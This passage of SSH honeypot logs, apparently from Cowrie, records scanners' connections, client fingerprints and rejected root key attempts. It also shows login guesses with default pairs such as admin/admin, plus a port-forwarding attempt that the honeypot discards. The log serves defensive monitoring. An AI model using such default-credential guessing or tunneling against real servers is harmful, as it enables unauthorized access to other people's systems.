sa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:15:54.804308Z","src_ip":"45.148.147.191","session":"dcd1347603a9","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f2:fd:59:dd:83:f4:50:4b:28:79:a4:6b:74:3f:d1:61","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC0m89cJyWIoRD/7K7zAxKeQy4g1+AwHZluqI7Jog8Q3rOxVQ5T9nA/MHFb9bOPB+Z90LMPUSIWUYkRhhLiCQeIa698H3tn3RJ8XaAaSLCUkTAI9gfOZWJxlK/xQhbVx6ODZqvMHE+rIFT/MNyPNZY+hZgNIUUDId6n5QBVfWavRI8LfocfvKtbB2E3qkgwwOaBGtWsasrlqA1LcpL+l6a2lSuam6x/h1pKM/ek4xolQnDl2isHSMNWbeFHksec/kiBEOv5my5JiU7x4CkU4B8QQeFC7CxTf0r66FWcNlJwronz3YWrPEha0fh9wY8L725DOx+z77eZiwZfRzSPhF7X","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f2:fd:59:dd:83:f4:50:4b:28:79:a4:6b:74:3f:d1:61","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:15:55.223867Z","src_ip":"45.148.147.191","session":"dcd1347603a9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f2:fd:59:dd:83:f4:50:4b:28:79:a4:6b:74:3f:d1:61","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC0m89cJyWIoRD/7K7zAxKeQy4g1+AwHZluqI7Jog8Q3rOxVQ5T9nA/MHFb9bOPB+Z90LMPUSIWUYkRhhLiCQeIa698H3tn3RJ8XaAaSLCUkTAI9gfOZWJxlK/xQhbVx6ODZqvMHE+rIFT/MNyPNZY+hZgNIUUDId6n5QBVfWavRI8LfocfvKtbB2E3qkgwwOaBGtWsasrlqA1LcpL+l6a2lSuam6x/h1pKM/ek4xolQnDl2isHSMNWbeFHksec/kiBEOv5my5JiU7x4CkU4B8QQeFC7CxTf0r66FWcNlJwronz3YWrPEha0fh9wY8L725DOx+z77eZiwZfRzSPhF7X","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:15:55.227957Z","src_ip":"45.148.147.191","session":"dcd1347603a9","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"36:9b:93:6f:08:1e:5f:be:dd:6f:f1:77:00:ac:dd:a5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDW06NYFph57ftnHW95Cl5NVvtDX6iWfjFRQ0yiuuFaae0Am44I4fy7/q8Guqf/51W8347tcPhCu8ypYKkc6qIEbmiG+PerX9V4TVv6lISdujNIKKYcBIutw3RkgYagdGzOiZ/Icg2jmdbzrPWF/E9YAVw7uXkKx0nUzmTjBRhnBp7Xc8accZ/t03V2jZuddD8e94heX4ynB99Zc9/JKWshSpmslwlPLW1HmfQSLVegIIPoAKivtvfI+NMirEZWSvCFDJsWJyz//EkSUItfQCQ7YdNbET7e6cw6B3RNtlJ3kthAY5sQmqCF9A+2on8vhoy41xLIoaqedS5OlVd9Q+nJb+DIb6dmQKMtVW1FOGruzcWR8M3W8B7c03G9bvLQz0ghAK2wS+PG/7FifxNuAjF6PaY+hLFMg7mzjQXImyC53aR0O5ML9yBVzIuOaTshh0noBUkqBrfLt7Fvc7/m1MkoRCTpaLCWFbS9I3pcDfG0l5X0Wm6Tx6xFXzsNauu3UIdSLn9MVJRsVBdrKuYlz0TFcm2cqcUNAOhpZ2q0H2g/CQkYeZhpACCzN39hmp/6lsZjFBZTO1WdDz9aPqX6rQJ6UqyRdO+mZ6I4bDxvK+hdzLCqnBiYS2LqUdZ432E7SYUfckpLs+JEMz/YmSCS0hFoyPgbyTDyvaY9l44CognuVQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 36:9b:93:6f:08:1e:5f:be:dd:6f:f1:77:00:ac:dd:a5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:15:55.320989Z","src_ip":"45.148.147.191","session":"dcd1347603a9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"36:9b:93:6f:08:1e:5f:be:dd:6f:f1:77:00:ac:dd:a5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDW06NYFph57ftnHW95Cl5NVvtDX6iWfjFRQ0yiuuFaae0Am44I4fy7/q8Guqf/51W8347tcPhCu8ypYKkc6qIEbmiG+PerX9V4TVv6lISdujNIKKYcBIutw3RkgYagdGzOiZ/Icg2jmdbzrPWF/E9YAVw7uXkKx0nUzmTjBRhnBp7Xc8accZ/t03V2jZuddD8e94heX4ynB99Zc9/JKWshSpmslwlPLW1HmfQSLVegIIPoAKivtvfI+NMirEZWSvCFDJsWJyz//EkSUItfQCQ7YdNbET7e6cw6B3RNtlJ3kthAY5sQmqCF9A+2on8vhoy41xLIoaqedS5OlVd9Q+nJb+DIb6dmQKMtVW1FOGruzcWR8M3W8B7c03G9bvLQz0ghAK2wS+PG/7FifxNuAjF6PaY+hLFMg7mzjQXImyC53aR0O5ML9yBVzIuOaTshh0noBUkqBrfLt7Fvc7/m1MkoRCTpaLCWFbS9I3pcDfG0l5X0Wm6Tx6xFXzsNauu3UIdSLn9MVJRsVBdrKuYlz0TFcm2cqcUNAOhpZ2q0H2g/CQkYeZhpACCzN39hmp/6lsZjFBZTO1WdDz9aPqX6rQJ6UqyRdO+mZ6I4bDxvK+hdzLCqnBiYS2LqUdZ432E7SYUfckpLs+JEMz/YmSCS0hFoyPgbyTDyvaY9l44CognuVQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:15:55.325042Z","src_ip":"45.148.147.191","session":"dcd1347603a9","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"38:f0:4c:4e:64:b6:9e:9e:c4:2f:ad:3d:63:8b:7a:af","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC1IN8+V6VnyJqPbFBQxFFHusBt496ytY5nOWxPifFA1ngtkn0dG/9dKv5zsIvhGHqm9Mw+EgMYRj5c2OkWQ/o/esBq/t152UQYc7w2/ulRFm3OGxd8uHz/0I31TPqM9dDSp+RpE0ceUlL58y1uJV9MovzKhsxj5mlAvpwhN1RANjqDc68UHtuDnWebYYzQwjzRyKj0zyCWzgSRcDUugD1aGfIDFgTiNKWi89u3fC5Bb/nBWSpodbzWnLrKAQTP4tPckMqUmb+L16wyKU2hfFMETFl4jOtFHK7iLvf4k3ChJjHMnaRIPc/xHYzMHEJbiQiF5qJs0acfUwNGva10045AAZLCBQGsZyzb2wc45j1zjpQ1pAVQdLKTCWnEYy5YwKFM+UZ+GRqs9/qwMuPeXINYqdWJfKYp1Suun8Upz/0UF82knzrje9+HLZvcL0ER94Y1vvtfB7Oi7mgUAh5CCSh1X37PglcOUCZaivtit6QnCwBeuWz3e6Lp4lMWyW+WhwMmk2FV5D09wD5LHbKnJXSC+GAgS0KmEjyC93OV5vFJgyfxpxdVu7d3mycqS/hcysJ00Yu3BVLZFuE+8CHZunKPIoCnuc3vf3zdZnFQ7Jww2EPj7qJYA7ALgQfCbEt3q10akJj5qZyWXFIS9Pt+6pWnyNfDyWF4865B+D4MJczjKQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 38:f0:4c:4e:64:b6:9e:9e:c4:2f:ad:3d:63:8b:7a:af","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:15:55.415202Z","src_ip":"45.148.147.191","session":"dcd1347603a9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"38:f0:4c:4e:64:b6:9e:9e:c4:2f:ad:3d:63:8b:7a:af","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC1IN8+V6VnyJqPbFBQxFFHusBt496ytY5nOWxPifFA1ngtkn0dG/9dKv5zsIvhGHqm9Mw+EgMYRj5c2OkWQ/o/esBq/t152UQYc7w2/ulRFm3OGxd8uHz/0I31TPqM9dDSp+RpE0ceUlL58y1uJV9MovzKhsxj5mlAvpwhN1RANjqDc68UHtuDnWebYYzQwjzRyKj0zyCWzgSRcDUugD1aGfIDFgTiNKWi89u3fC5Bb/nBWSpodbzWnLrKAQTP4tPckMqUmb+L16wyKU2hfFMETFl4jOtFHK7iLvf4k3ChJjHMnaRIPc/xHYzMHEJbiQiF5qJs0acfUwNGva10045AAZLCBQGsZyzb2wc45j1zjpQ1pAVQdLKTCWnEYy5YwKFM+UZ+GRqs9/qwMuPeXINYqdWJfKYp1Suun8Upz/0UF82knzrje9+HLZvcL0ER94Y1vvtfB7Oi7mgUAh5CCSh1X37PglcOUCZaivtit6QnCwBeuWz3e6Lp4lMWyW+WhwMmk2FV5D09wD5LHbKnJXSC+GAgS0KmEjyC93OV5vFJgyfxpxdVu7d3mycqS/hcysJ00Yu3BVLZFuE+8CHZunKPIoCnuc3vf3zdZnFQ7Jww2EPj7qJYA7ALgQfCbEt3q10akJj5qZyWXFIS9Pt+6pWnyNfDyWF4865B+D4MJczjKQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:15:55.419172Z","src_ip":"45.148.147.191","session":"dcd1347603a9","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f3:ae:c8:3c:10:45:ba:7f:ae:12:61:e7:a5:60:fd:be","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDFFFjy/VKa3So21yDDPj/1DECnp4ew7cF5ZhYDmCbfhNmDReAlWv7nUVc5TBbMcow97ZCDdc8Kd+YHQ3hyuD4ewcoJJt1uyQqs2XSzn5sU12F4+o31Nt3TwUga+UYK0xrIfbGpAGxRKWrXicqFofMqPRtD8VTobwlVTVadrQFwCS/cT1c4EUFocMLWkfdYG81CCKYmQblJmNg762KdouSfH7nNpvNBQnH6s+mZPmhg3Eu4jWC3Y+WiliLAIXLqYr8xepMiAJCS22VNIwJUarcVGasiI3SMOKR5tJAxfzD+3aAF+yaJ6tzEXpxBavJE8nL2M8q9BGxdoz73VDyKl5JyFr/fqd9xr3KyHu2TU19UAGMYqG0qeeVCj4nNlH4LPz70KBDg3H4aChae7nQ+SZuMvF2R5Jnw22U02Q7S+PIwd0IzKLiDko0ktsH65NHf1NyVcnIWMKj50mU94Uaho5HBE+OkiCLc4j6a+VGVH7IJaaYEBk24uzMwQQ5fMCAF1oaC9W5TfLh+piOCAKjPMgknyDUvjE5zuQTOtoOOB7kVYYCPSDSZUEIOKQeRuJJeAhg3qcva+v1yeFJKZjp7YZ9nho76+D8nQn/od5Zv3FMPJ6aO25gNq1a/lOsWgvMpxMe63cfRLmmTp3gKXFqLRBHavFMOqyZ044PweuW8yPUaZQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f3:ae:c8:3c:10:45:ba:7f:ae:12:61:e7:a5:60:fd:be","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:15:55.507949Z","src_ip":"45.148.147.191","session":"dcd1347603a9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f3:ae:c8:3c:10:45:ba:7f:ae:12:61:e7:a5:60:fd:be","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDFFFjy/VKa3So21yDDPj/1DECnp4ew7cF5ZhYDmCbfhNmDReAlWv7nUVc5TBbMcow97ZCDdc8Kd+YHQ3hyuD4ewcoJJt1uyQqs2XSzn5sU12F4+o31Nt3TwUga+UYK0xrIfbGpAGxRKWrXicqFofMqPRtD8VTobwlVTVadrQFwCS/cT1c4EUFocMLWkfdYG81CCKYmQblJmNg762KdouSfH7nNpvNBQnH6s+mZPmhg3Eu4jWC3Y+WiliLAIXLqYr8xepMiAJCS22VNIwJUarcVGasiI3SMOKR5tJAxfzD+3aAF+yaJ6tzEXpxBavJE8nL2M8q9BGxdoz73VDyKl5JyFr/fqd9xr3KyHu2TU19UAGMYqG0qeeVCj4nNlH4LPz70KBDg3H4aChae7nQ+SZuMvF2R5Jnw22U02Q7S+PIwd0IzKLiDko0ktsH65NHf1NyVcnIWMKj50mU94Uaho5HBE+OkiCLc4j6a+VGVH7IJaaYEBk24uzMwQQ5fMCAF1oaC9W5TfLh+piOCAKjPMgknyDUvjE5zuQTOtoOOB7kVYYCPSDSZUEIOKQeRuJJeAhg3qcva+v1yeFJKZjp7YZ9nho76+D8nQn/od5Zv3FMPJ6aO25gNq1a/lOsWgvMpxMe63cfRLmmTp3gKXFqLRBHavFMOqyZ044PweuW8yPUaZQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:15:55.512772Z","src_ip":"45.148.147.191","session":"dcd1347603a9","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"7c:25:a7:11:14:0e:d6:1e:0f:58:22:7b:3c:fd:dd:44","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDckMTAMZopKvLzhk+AdZ1hvnmmYZAZoAgQWxbjrayZuVZGxPptyTNlXDDhnvuy99MOkKDhCnvJ9IJ5OTK7AGmX8c8sjxg/w3n64iVpa5MegqiWEdQicVWaSJED/h6lC9Ft9++YPBadkz0OLHlw5UM6rCWbKA8DU5wp+x+fKMh99u0pIXovHoku/6jFscg9VbvIg38cbc3d/YXj8R9l6HmNDQ+9J7MDO95oGHcSS/dyQkuZZp4FI3CCkuQWtgj1iaM67E4JgbuMT9r6V7QOjqF6rUtfl0i/nk8DPjsBvVNTbE3qczwvkYfH9kwuwcsOXf/QouVVuLXG/ZXgFddzv9gHDCqMfE0weujf5kdKmw6NysFe+ng81g9JFP7RTfFyM1oRGZR+kS8/cvys1HdIoxHRs2a0+FzLG/P368tPRcQ8J94BqAEZyR9VR3kZWvK0OcbdzLwQKIKjmABP4y+k0wLcm0ZyxW7E9gV9/cq7ojtvh6YbqnTSH2f8kvZ4bM4Y8Tk98J04IxYiaeTY+d734n3xF95ydc/UD70OUaZSa2YrrbZqIZN0Dr2lT+Wqy9hRUSBPgfR3G+PA6swJniGYgjV50tlGQQf3HXUbdyqa5SiVaZsQ5dCyktGbcHvWZTBcE/nsa5jFTeprDQZlOkLX/4A+wEg6GbEWuf24OeZ1kMfrsw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 7c:25:a7:11:14:0e:d6:1e:0f:58:22:7b:3c:fd:dd:44","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:15:55.603351Z","src_ip":"45.148.147.191","session":"dcd1347603a9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"7c:25:a7:11:14:0e:d6:1e:0f:58:22:7b:3c:fd:dd:44","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDckMTAMZopKvLzhk+AdZ1hvnmmYZAZoAgQWxbjrayZuVZGxPptyTNlXDDhnvuy99MOkKDhCnvJ9IJ5OTK7AGmX8c8sjxg/w3n64iVpa5MegqiWEdQicVWaSJED/h6lC9Ft9++YPBadkz0OLHlw5UM6rCWbKA8DU5wp+x+fKMh99u0pIXovHoku/6jFscg9VbvIg38cbc3d/YXj8R9l6HmNDQ+9J7MDO95oGHcSS/dyQkuZZp4FI3CCkuQWtgj1iaM67E4JgbuMT9r6V7QOjqF6rUtfl0i/nk8DPjsBvVNTbE3qczwvkYfH9kwuwcsOXf/QouVVuLXG/ZXgFddzv9gHDCqMfE0weujf5kdKmw6NysFe+ng81g9JFP7RTfFyM1oRGZR+kS8/cvys1HdIoxHRs2a0+FzLG/P368tPRcQ8J94BqAEZyR9VR3kZWvK0OcbdzLwQKIKjmABP4y+k0wLcm0ZyxW7E9gV9/cq7ojtvh6YbqnTSH2f8kvZ4bM4Y8Tk98J04IxYiaeTY+d734n3xF95ydc/UD70OUaZSa2YrrbZqIZN0Dr2lT+Wqy9hRUSBPgfR3G+PA6swJniGYgjV50tlGQQf3HXUbdyqa5SiVaZsQ5dCyktGbcHvWZTBcE/nsa5jFTeprDQZlOkLX/4A+wEg6GbEWuf24OeZ1kMfrsw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:15:55.607492Z","src_ip":"45.148.147.191","session":"dcd1347603a9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:15:55.696303Z","src_ip":"45.148.147.191","session":"dcd1347603a9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":51556,"dst_ip":"159.203.135.109","dst_port":22,"session":"38269620e802","protocol":"ssh","message":"New connection: 83.168.110.85:51556 (159.203.135.109:22) [session: 38269620e802]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:16:02.674961Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:16:02.681604Z","src_ip":"83.168.110.85","session":"38269620e802","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:16:02.808244Z","src_ip":"83.168.110.85","session":"38269620e802","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tester","password":"tester","message":"login attempt [tester/tester] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:16:03.182931Z","src_ip":"83.168.110.85","session":"38269620e802","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:16:04.313283Z","src_ip":"83.168.110.85","session":"38269620e802","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":30664,"dst_ip":"10.17.0.5","dst_port":22,"session":"646e8e253862","protocol":"ssh","message":"New connection: 87.251.64.176:30664 (10.17.0.5:22) [session: 646e8e253862]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:16:05.275776Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:16:05.284597Z","src_ip":"87.251.64.176","session":"646e8e253862","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:16:05.441394Z","src_ip":"87.251.64.176","session":"646e8e253862","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:16:06.588672Z","src_ip":"87.251.64.176","session":"646e8e253862","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:16:06.743326Z","session":"646e8e253862","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:16:06.908914Z","src_ip":"87.251.64.176","session":"646e8e253862","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:16:07.067132Z","src_ip":"87.251.64.176","session":"646e8e253862","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"79.3.96.178","src_port":44410,"dst_ip":"10.17.0.5","dst_port":22,"session":"9b7c47a034f0","protocol":"ssh","message":"New connection: 79.3.96.178:44410 (10.17.0.5:22) [session: 9b7c47a034f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:16:10.370366Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:16:10.376086Z","src_ip":"79.3.96.178","session":"9b7c47a034f0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:16:10.509965Z","src_ip":"79.3.96.178","session":"9b7c47a034f0","protocol":"ssh"}
